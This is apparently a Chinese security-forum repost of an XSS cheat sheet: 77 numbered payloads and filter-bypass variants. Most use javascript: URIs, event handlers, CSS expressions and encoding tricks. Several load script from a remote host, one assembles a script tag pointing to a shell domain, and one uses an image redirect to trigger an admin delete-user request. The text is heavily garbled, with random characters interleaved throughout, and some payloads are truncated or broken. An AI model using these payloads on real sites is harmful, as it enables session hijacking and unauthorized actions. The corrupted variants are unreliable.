貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
3 c! ?! N* R: x4 ]2 N+ m9 ?# z ?8 W. P
(1)普通的XSS JavaScript注入
- v. F/ B) n7 Y2 e' m6 i5 @ <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
( T5 ^& b) M6 T7 E, Y! z3 W' c; d9 |$ u
(2)IMG标签XSS使用JavaScript命令
' g6 @ p- d- o6 s <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>2 q. z) j9 h9 J- v" p
, N8 n+ b# q' f1 ^$ O (3)IMG标签无分号无引号
0 t/ l( }2 ~* V7 c. ?$ ]' z( I <IMG SRC=javascript:alert(‘XSS’)>0 ~, z, s: M1 U1 o2 z
0 u1 x W! _# G* h g1 T2 c; W
(4)IMG标签大小写不敏感5 u% k& q V0 S0 B' ~
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
! w& S0 s4 X4 x/ C/ d; I9 o" I5 V4 A% t( a' w2 Z, W5 D" ~$ a
(5)HTML编码(必须有分号)9 P+ l! `6 W* v3 I6 j
<IMG SRC=javascript:alert(“XSS”)>8 @6 L1 ]0 x% s6 _8 R; A
, u8 r; w1 [; `) A7 |* b4 p
(6)修正缺陷IMG标签
7 ]6 `0 }0 i2 }# x <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>7 l! ?0 U6 i( [! w/ v( \
) ]) O& E: M7 @) y, c (7)formCharCode标签(计算器)
5 g7 o' d& @- a2 ?2 S* S0 q% f8 B <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>4 B, O4 M, [- _
8 k. r1 F, _& i2 R; W# O l (8)UTF-8的Unicode编码(计算器)0 O' ~! d% {& l
<IMG SRC=jav..省略..S')>. y' g3 S. q1 L
5 G% W; U; X {. b! n* b% f (9)7位的UTF-8的Unicode编码是没有分号的(计算器)
& j* O/ I) ]& ~8 l8 l/ | <IMG SRC=jav..省略..S')>
* }6 G5 _1 F2 |0 [* o; C1 B1 J$ |( I4 S3 k* @) n
(10)十六进制编码也是没有分号(计算器)
' E- ?7 j* t* o/ ~$ F/ k <IMG SRC=java..省略..XSS')>
) d6 Z' v8 k% z
- c, A/ t' Z& K% [) U- N (11)嵌入式标签,将Javascript分开
3 k( `( b f' [3 n9 R) [4 y' ` <IMG SRC=”jav ascript:alert(‘XSS’);”>! F/ E4 T) ^5 H7 p) [) c
1 e& e% U. v4 h, s2 r: P
(12)嵌入式编码标签,将Javascript分开% n( x ]0 o# R. x7 T9 }. ~
<IMG SRC=”jav ascript:alert(‘XSS’);”>
: E w5 s o9 G1 v4 l$ A+ w7 [8 o) x
(13)嵌入式换行符
' h1 i1 A" Y1 t. I4 k <IMG SRC=”jav ascript:alert(‘XSS’);”>) M H) {/ P$ Y/ @
, A6 t# o" I. m c/ }- I
(14)嵌入式回车9 C& U' `, h5 A4 ]" q( t; `
<IMG SRC=”jav ascript:alert(‘XSS’);”>
5 e- h4 G4 L: S; r* M
4 q" L! `/ [& X3 V (15)嵌入式多行注入JavaScript,这是XSS极端的例子
8 N) d$ E8 k5 ]. b1 S <IMG SRC=”javascript:alert(‘XSS‘)”>
4 {; r9 s. ^' @3 D$ }, r8 P' d4 o& C/ j1 O, ^
(16)解决限制字符(要求同页面)
( a$ u3 D5 J1 J& N' Y5 e9 g <script>z=’document.’</script>% T+ I3 E/ i4 _6 @* s! Z
<script>z=z+’write(“‘</script>
+ `- ]+ Q1 V" D" z, `( | <script>z=z+’<script’</script> J* N# z1 ]+ _8 N( X" K
<script>z=z+’ src=ht’</script>% _* p3 g1 V+ {1 ?' V& E3 p
<script>z=z+’tp://ww’</script>% K+ M3 V9 F$ z% z- x
<script>z=z+’w.shell’</script>
+ v- c0 H* ?4 q7 \- @% m0 H4 J$ C <script>z=z+’.net/1.’</script>9 ]: y! o& G. e, N$ k; ^
<script>z=z+’js></sc’</script>
* ^$ ^, T. ?& I <script>z=z+’ript>”)’</script>
& R! R( T9 E2 |: k! Z <script>eval_r(z)</script>% o& F v: Z! O6 j$ q; D
2 H7 e# ~, |# E8 d8 e' Q
(17)空字符
( r+ o. t. z5 Q. z5 C- Q perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out. {' p0 C6 _# E3 S* M' o' \
) z/ c. a' i( g+ @
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用6 x" `4 d" V2 h1 m& y6 v
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out3 l8 y. B" {; G- \7 y
/ Z. R1 {/ K5 M' ^2 T$ d (19)Spaces和meta前的IMG标签% O' M! q% C; G2 }( A& q
<IMG SRC=” javascript:alert(‘XSS’);”>
- i# v* n2 e: A- ?5 b4 S0 ?; A# K. U/ |: R( L
(20)Non-alpha-non-digit XSS
: O I; [+ g' C' S9 B Q6 C <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>! W9 F) z3 @0 y6 o: B
% a; w+ Y# |" n6 n! A* l (21)Non-alpha-non-digit XSS to 2" P- G( K+ e6 L
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
3 t' m4 K8 K+ m8 T7 w- O$ o6 O1 s
. T t) {! M2 T, u- O# U% L (22)Non-alpha-non-digit XSS to 3
$ q# }6 i6 M* F; N4 S <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>& A9 _7 [" ^4 u+ o) V
% s3 Y0 T1 e I2 g7 L7 O (23)双开括号* U0 @. u. M8 O' j' C' y1 P
<<SCRIPT>alert(“XSS”);//<</SCRIPT>3 `9 \: q3 y. ?! c, }7 f
9 ?& f$ e) Z: ^' A1 l (24)无结束脚本标记(仅火狐等浏览器)/ s/ O. a* L! a, _, F' E( D$ f
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>9 w1 {0 g9 x4 w7 `3 N. y3 d
8 ~1 ~- F# J) Z7 H: p$ t (25)无结束脚本标记2+ H, w1 q: j& L" Y. o9 {$ C: F
<SCRIPT SRC=//3w.org/XSS/xss.js>' j) C- C* g( ^9 j& b* [
' Q4 D& E" |6 C; v; v8 ~
(26)半开的HTML/JavaScript XSS8 m& _. e. M( v: a# Y& |6 Q
<IMG SRC=”javascript:alert(‘XSS’)”
1 T9 M) Q, v4 X7 y. p0 {+ T6 m( [7 n6 e, P5 J
(27)双开角括号% g& i( L& E3 O3 s7 I! d
<iframe src=http://3w.org/XSS.html <
+ ?( T3 a0 g: R5 {' p% X! [4 N. L. l/ K) W
(28)无单引号 双引号 分号
4 n" B$ A+ j) v <SCRIPT>a=/XSS/
% t; y4 H/ ~ } alert(a.source)</SCRIPT>5 L+ o: a! ?0 S- L; I `& {
3 A8 ]9 w" }2 }. c
(29)换码过滤的JavaScript
4 ?0 o: t$ ]- Y( N, x \”;alert(‘XSS’);//. X A- A7 F0 X6 O: y
7 C0 W0 |$ U _' E" T (30)结束Title标签
9 E. n; `/ H5 I" K </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
4 ^; _2 U$ }/ u
8 a7 B" {! v, z& s) I$ ? (31)Input Image. y2 a5 F. W6 q7 h8 T
<INPUT SRC=”javascript:alert(‘XSS’);”>
+ D2 \+ v! z7 _3 }0 ?6 L' R3 ^5 i& Q/ D0 I( F
(32)BODY Image
, v4 i2 Y7 \+ g$ _ <BODY BACKGROUND=”javascript:alert(‘XSS’)”>
\2 }( B. v1 \6 w9 t( X0 _3 W+ R+ y: T- [. G" I
(33)BODY标签
7 K, M1 m8 M- N" [ <BODY(‘XSS’)>" T7 M7 G' W2 x' s6 @6 N, Z
" B4 \% m. X6 d. Q4 K" M( v
(34)IMG Dynsrc
" `) L2 R# c2 E( c% D% J <IMG DYNSRC=”javascript:alert(‘XSS’)”>0 q6 D. k+ {! G; n8 Q
5 H, V% W( l, Q
(35)IMG Lowsrc
2 l) }) |' S- K! y4 J( _6 o <IMG LOWSRC=”javascript:alert(‘XSS’)”>
6 _8 H0 }3 M# \0 @5 m* g. @
$ J/ K+ O; G3 @% ]& y$ Q5 j (36)BGSOUND; w/ x+ B; `* Q$ Z4 \
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
' I! P+ x% A9 H0 _$ k& F4 h. `7 Z. d5 ?8 G
(37)STYLE sheet4 g2 x1 ~ h& B
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>' R0 D$ `5 V6 y
) C0 S5 m: i, ?) M: p' {! ~ (38)远程样式表
, E5 H$ s- e: H4 A4 Z, q$ n <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
% H. S, ~' o; e8 i! C! ]: s7 m' z) {6 w
(39)List-style-image(列表式)
; M. d, {4 S, L, h) r5 v. w2 \1 U <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
5 T! _* ]2 \3 d
- F5 X2 c- j: F* G (40)IMG VBscript
7 D7 ]* V8 r1 t) z5 _) N1 y <IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS2 Y# W& E. W- c$ L, J6 x$ I
) s2 H) Y5 j6 Z5 q7 c( m; N
(41)META链接url1 d5 V8 i6 [5 a3 L3 q4 N2 D$ @
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
& U1 e: F! W7 t% V1 N4 H" P y& `2 _$ m
(42)Iframe
7 L9 S2 \7 h5 }0 c$ N% o <IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
" S1 G1 ?; O. W& |$ Q& z% r( ~9 @) z+ i7 t$ g# z
(43)Frame
, q( y* [+ \2 O/ o <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
- o8 S* [5 |- ~1 |! r
0 u1 f: X' K# W% B: Y (44)Table
/ k" n8 A- k9 }( \ <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>/ J( L) @! `3 k6 k& P/ d% Y
: N5 p4 i( m" ~! [' w (45)TD
6 G% o# L' \ l( _! }! e <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>& {1 n, f, ^& c2 j
4 ], G8 f2 K3 L1 c
(46)DIV background-image9 w! ~% I: g+ U# U8 A
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
+ W$ i! m: K" \) D2 t p% K- P; ~4 T8 A9 c3 j$ ]2 {
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)! q' X1 Y% q; X& @) `8 ?
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>! F3 z t0 u( r9 {/ o9 U8 w/ |
' Q$ p' ~/ w0 p( m" o! \ (48)DIV expression7 y$ Z' T5 G( v: f$ l: F9 ^
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>2 b$ i$ ?) N* ]5 l
! S/ [! ^8 S7 {( [5 x" K( h0 W7 Q (49)STYLE属性分拆表达* W5 y; q8 b/ B; F7 X
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>0 r5 F5 a; j% K8 H
: H! I# c8 ]. r9 F (50)匿名STYLE(组成:开角号和一个字母开头)8 r% M2 F4 [ }; a& U
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>5 Q8 i3 T- ?* m4 R0 w' n
5 D2 b# H1 ?% R7 Z/ l (51)STYLE background-image
1 f$ A3 D: G- G) v3 X3 T `7 T <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>6 V( E3 U! d7 z h
% o8 f7 `" F; R0 n# t: A
(52)IMG STYLE方式
0 ]/ f* k+ j9 P1 X exppression(alert(“XSS”))’>5 e. ^- p& a( a5 V- x
" G @! [6 `$ J# I2 K9 ?
(53)STYLE background
8 h5 P/ S! j9 f <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>7 S2 d3 A( _$ N& a' x% b4 A
# x- d$ S% ~) [ z (54)BASE0 n, _, w, o: b; S
<BASE HREF=”javascript:alert(‘XSS’);//”>2 ?: P; \* x; {: q
+ g- D6 @# ? x4 A (55)EMBED标签,你可以嵌入FLASH,其中包涵XSS J6 S) f8 K" @4 e$ z5 Z3 r
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>8 V( c' ?' L+ r5 k3 a: v1 G
" ]! D, c# y, v ^) U (56)在flash中使用ActionScrpt可以混进你XSS的代码
' q1 B" G5 j! {( Y- K" l" E2 b a=”get”;
1 f8 U% d X8 Z4 o3 E5 `9 z' ` b=”URL(\”";& h$ J3 M+ T: f* u
c=”javascript:”;8 o: X) ?$ k' M9 X5 k3 j7 D! j( v4 r6 P
d=”alert(‘XSS’);\”)”;3 f' ^6 x- Y( ?5 V0 @
eval_r(a+b+c+d);
1 X1 x( k# D& O1 l+ h- m
$ r. C; v. R( P+ |/ t4 w! i (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
9 T* G9 b" H: d2 B <HTML xmlns:xss>
% T( d6 E2 F U <?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>1 T* r8 z& @6 s1 s" H# ^
<xss:xss>XSS</xss:xss>& M9 t6 t" z# S2 t! Q
</HTML>% u+ ^9 h' l8 W, ~: D
. K N- }1 i/ B' v# c* X. a/ @
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用1 B |. X, k% m
<SCRIPT SRC=””></SCRIPT> H H8 U, }# ^7 w8 b: s# y: M
! q5 O- d, O# Z. z2 ]. w
(59)IMG嵌入式命令,可执行任意命令* ?& @5 {4 C: f- H6 B) Y& S2 V
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
, l9 C4 I( X4 P, \
^- B7 H8 B6 A( H. X" T, c+ U (60)IMG嵌入式命令(a.jpg在同服务器)
- l! e+ z1 v* d1 B) o6 |: z, k ? Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
9 g1 o( j3 T- }/ a6 s# D! k- T9 P) i( R4 o: S, h. s3 S
(61)绕符号过滤6 q- t9 S* l2 M9 N
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
% I0 R5 C! m3 m* g" B* c) P7 H Q2 z
(62)
. c, R: o1 S+ h) ? <SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
g; I/ O$ h( w L. n
6 Z) J) |4 f+ v (63)( I) x3 o7 U8 h T* G) ~ M* g5 H
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
/ q% F% T( s7 W' i; W2 ~; u
0 K2 I) g$ V: \) K. \ (64)
4 Y0 z U* Z0 O" i0 U7 U% ^0 X <SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
1 |9 l0 C& A% i( }1 H7 e
* H- n- \3 X2 {" P, [1 l (65)
# D/ o4 D4 Y3 n( Y* q <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
, ?# `2 p7 c. q$ u( ~7 ~8 E) O) Z# Y5 Q' m# D
(66)1 z! B8 X5 J/ r* \" Q
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
@$ ~4 H4 X" y! V# M& g; N0 h$ c1 q
(67)$ Z. P) A, k- _: s( @2 ]
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>5 N7 V7 H9 D: J: @3 b3 p
6 X' t: t& ~# H5 C# a3 k% |
(68)URL绕行
3 { r2 P( ?0 K; i" P+ B( F) @ <A HREF=”http://127.0.0.1/”>XSS</A>
5 N) a, k& t- @$ V, a4 F
; U. M1 K; ]8 N, @ (69)URL编码
' g4 W& X: n/ U7 F <A HREF=”http://3w.org”>XSS</A>7 K6 U/ _3 c8 K, y1 f! n2 i
4 Q" g4 k7 Q, q: E+ v9 T2 u (70)IP十进制
' S! [7 H$ S" h! | <A HREF=”http://3232235521″>XSS</A>
6 C: L! u+ @+ k% L5 e3 K! s/ Y9 U; s7 ~+ A( ~7 v
(71)IP十六进制
6 I6 \' s$ e, B/ O# \ <A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>, k" j3 k' q/ V2 U& z1 j. D/ o
7 I( l9 y' E0 q% n) P5 j5 D f+ k (72)IP八进制( [: N. N' \6 [$ A) X* I5 ]& @
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
- v W; I- S* m& c- Q3 y& \1 p* _' _ U8 X v: e8 D/ F; s, H% E$ d
(73)混合编码
+ e1 S7 n, ?$ j6 M7 j4 q <A HREF=”h- ?1 n( ^0 k8 _0 T% G0 W# @
tt p://6 6.000146.0×7.147/”">XSS</A>
1 O6 f# o- k9 t: ~1 h: U! L2 P" Q4 i8 v9 B5 l# Y. t
(74)节省[http:]% W" V2 L. [1 H3 G2 i
<A HREF=”//www.google.com/”>XSS</A>8 Y2 Z6 S O: p$ j5 p
: I" Q! ]: g7 r, D (75)节省[www]: D6 n$ C5 Y, A1 S0 A1 r) L
<A HREF=”http://google.com/”>XSS</A>- G7 h- d0 G. ?) `( E) J" ~
& W* d P8 [$ |: D( N6 {
(76)绝对点绝对DNS, U& I8 o9 e; N) z4 B( n
<A HREF=”http://www.google.com./”>XSS</A>
/ ~# l. j/ o$ v6 m# i2 U8 S1 o4 B: ]7 b, K
(77)javascript链接; ?9 E3 }7 X- t( }% g3 F) y; _
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A> |